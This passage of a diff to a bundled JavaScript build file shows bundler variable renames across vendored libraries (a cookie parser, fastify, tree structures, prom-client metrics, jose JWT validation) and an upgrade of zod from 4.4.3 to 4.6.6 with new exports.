input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -54068,8 +54068,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54078,8 +54078,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54150,23 +54150,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54215,7 +54215,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54521,26 +54521,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54555,9 +54555,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54606,8 +54606,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54633,14 +54633,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54743,12 +54743,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54764,6 +54765,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54779,12 +54783,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54844,14 +54850,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54869,6 +54879,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54878,7 +54889,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54905,6 +54918,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54925,6 +54939,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54935,6 +54950,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54964,6 +54980,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54981,12 +54998,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -55018,6 +55038,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55025,8 +55046,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55040,6 +55063,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55095,10 +55119,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55114,6 +55143,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55135,6 +55165,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55183,6 +55214,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55225,7 +55257,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55238,18 +55275,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55258,94 +55307,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55356,6 +55338,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55364,8 +55347,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55378,11 +55365,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55391,6 +55381,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55399,11 +55390,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55415,6 +55409,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55435,21 +55432,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55459,7 